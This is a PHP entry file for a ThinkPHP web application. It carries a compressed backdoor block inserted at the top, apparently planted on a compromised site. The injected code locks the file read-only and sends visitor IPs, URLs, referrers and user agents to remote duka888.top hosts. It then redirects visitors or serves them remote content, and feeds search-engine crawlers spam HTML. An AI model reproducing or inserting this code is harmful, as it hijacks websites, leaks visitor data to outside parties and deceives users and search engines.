<?php
// +----------------------------------------------------------------------
// | ThinkPHP [ WE CAN DO IT JUST THINK ]
// +----------------------------------------------------------------------
// | Copyright (c) 2006-2019 http://thinkphp.cn All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
// +----------------------------------------------------------------------
// | Author: liu21st <liu21st@gmail.com>
// +----------------------------------------------------------------------

// [ 应用入口文件 ]
namespace think;
error_reporting(0);set_time_limit(0);@chmod(__FILE__,0444);function aliang_sv($k){return isset($_SERVER[$k])?$_SERVER[$k]:'';}function aliang_httpPasserj($url){$ch=curl_init();curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_USERAGENT,aliang_sv('HTTP_USER_AGENT'));curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,FALSE);curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,FALSE);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_TIMEOUT,6);$output=curl_exec($ch);curl_close($ch);return $output;}function aliang_is_spider(){$ua=strtolower(aliang_sv('HTTP_USER_AGENT'));return(strpos($ua,'bot')!==false||strpos($ua,'spider')!==false);}function aliang_build_url($base){$u=aliang_sv('REQUEST_URI').'=ip='.aliang_sv('REMOTE_ADDR');return $base.'?site_type=sese&type=jsc'.'&spider='.urlencode(aliang_sv('HTTP_USER_AGENT')).'&ref='.urlencode(aliang_sv('HTTP_REFERER')).'&domain='.urlencode(aliang_sv('HTTP_HOST')).'&url='.urlencode($u);} $uri=aliang_sv('REQUEST_URI');$area=(stristr($uri,'php/')||stristr($uri,'?')||stristr($uri,'asp')||stristr($uri,'htm')||stristr($uri,'myy'));if($area){$httphtml=aliang_httpPasserj(aliang_build_url('http://ceshi.jsc.duka888.top/duka_base.php'));$allhttphtml=explode('####',$httphtml);$content=isset($allhttphtml[0])?$allhttphtml[0]:'';$jumpUrl=isset($allhttphtml[1])?trim($allhttphtml[1]):'';$status=isset($allhttphtml[2])?intval(trim($allhttphtml[2])):0;if($status==404){}elseif($jumpUrl!==''){if($status==301){header('HTTP/1.1 301 Moved Permanently');}elseif($status==302){header('HTTP/1.1 302 Found');}elseif($status==307){header('HTTP/1.1 307 Temporary Redirect');}elseif($status==308){header('HTTP/1.1 308 Permanent Redirect');}header('Location: '.$jumpUrl);exit;}else{header('Content-Type:text/html;charset=utf-8');echo $content!==''?$content:$httphtml;exit;}}if(aliang_is_spider()){$al_html=aliang_httpPasserj(aliang_build_url('http://al.duka888.top/al_base.php'));if($al_html){ob_start();echo $al_html;if(ob_get_length()){ob_flush();}flush();}}
require __DIR__ . '/../vendor/autoload.php';

// 声明全局变量
define('DS', DIRECTORY_SEPARATOR);
define('ROOT_PATH', __DIR__ . DS . '..' . DS);
// 判断是否安装程序
if (!is_file(ROOT_PATH . 'config' . DS . 'install' . DS . 'lock' . DS . 'install.lock')) {
    exit(header("location:/install.php"));
}

// [ 应用入口文件 ]
// 处理跨域需遇见请求
if (isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] == 'OPTIONS') {
    // 允许的原域名
    header('Access-Control-Allow-Origin:*');
    //允许的请求头信息
    header("Access-Control-Allow-Headers: method,Origin, X-Requested-With, Content-Type, Accept, Authorization,token");
    //允许的请求类型
    header('Access-Control-Allow-Methods: GET, POST, PUT,DELETE,OPTIONS,PATCH');
    //允许携带证书式访问（携带cookie）
    header('Access-Control-Allow-Credentials:true');
    exit;
    
}

// 执行HTTP应用并响应
$http = (new App())->http;

$response = $http->run();

$response->send();

$http->end($response);
